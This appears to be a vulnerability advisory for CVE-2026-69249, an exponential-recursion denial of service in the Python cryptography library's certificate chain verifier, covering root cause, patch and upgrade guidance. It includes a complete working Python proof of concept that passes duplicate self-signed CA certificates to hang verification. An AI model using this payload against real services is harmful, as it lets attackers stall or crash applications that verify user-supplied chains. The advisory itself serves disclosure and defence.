CVE-2026-69249: cryptography Exponential Certificate Chain DoS
Passing duplicate self-signed certificates to the cryptography library's chain verifier triggers exponential recursion, letting anyone who can supply a certificate chain stall or crash a Python…

The problem
The Rust-backed build_chain_inner function in cryptography iterates every potential issuer for each working certificate without tracking which issuers it has already recursed into. When a chain contains duplicate copies of the same self-signed CA, the function re-enters itself once per duplicate at every depth level.
The depth cap prevents infinite loops, but the work still grows as O(d^n) where d is max chain depth and n is the number of duplicates. In testing, four duplicates at depth 8 produces a timeout; five duplicates at depth 7 does the same. Any application that passes user-supplied intermediates to PolicyBuilder.build_server_verifier().verify() is directly exposed.
Proof of concept
A working proof-of-concept for CVE-2026-69249 in cryptography, with the exact payload below.
import datetime
import multiprocessing
import time
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import DNSName, PolicyBuilder, Store, VerificationError
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
def name(cn):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
def make_ca(cn, serial):
key = ec.generate_private_key(ec.SECP256R1())
cert = (
x509.CertificateBuilder()
.subject_name(name(cn)).issuer_name(name(cn))
.public_key(key.public_key()).serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(
x509.KeyUsage(True,False,False,False,False,True,True,False,False), True
)
.sign(key, hashes.SHA256())
)
return key, cert
def make_leaf(issuer_key, issuer_cert):
key = ec.generate_private_key(ec.SECP256R1())
return (
x509.CertificateBuilder()
.subject_name(name("leaf")).issuer_name(issuer_cert.subject)
.public_key(key.public_key()).serial_number(100)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(8)
.build_server_verifier(DNSName("example.com"))
)
# Pass 4 copies of the same self-signed intermediate.
# On cryptography <= 48.0.0 this hangs/times out (>5 s).
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * 4)
except VerificationError:
pass
print(f"elapsed: {time.perf_counter() - start:.3f}s")The root cause (CWE-400) is in build_chain_inner inside src/rust/src/x509/verify.rs. For each candidate issuer that passes valid_issuer, the function recurses immediately without checking whether that issuer was already visited in the current call frame.
Duplicate entries in the intermediates list are each seen as fresh candidates, so the recursion fans out exponentially with the number of duplicates.
The patch (commit 4a12cf4, PR #14960) adds a seen_valid_issuers vector. After a candidate passes valid_issuer, the code checks whether it is already in that vector. If it is, the candidate is skipped; otherwise it is pushed and recursion proceeds. Validation callbacks still run before the deduplication check, so custom extension policies are unaffected.
The fix
Upgrade to cryptography >= 49.0.0 (pip install -U cryptography). The fix is in commit 4a12cf49675a184e47f912b00b04f3a629283582, merged via PR #14960. If you cannot upgrade immediately, reject or cap the number of intermediates accepted from untrusted callers before passing them to verify().
Related research
- highCVE-2026-69247CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle
- highCVE-2026-69244CVE-2026-69244: aiohttp Out-of-Bounds Heap Read in C HTTP Response Parser
- high · 7.5CVE-2026-53504CVE-2026-53504: thumbor ReDoS in convolution Filter
- high · 7.5CVE-2026-53505CVE-2026-53505: thumbor proportion filter Remote Denial of Service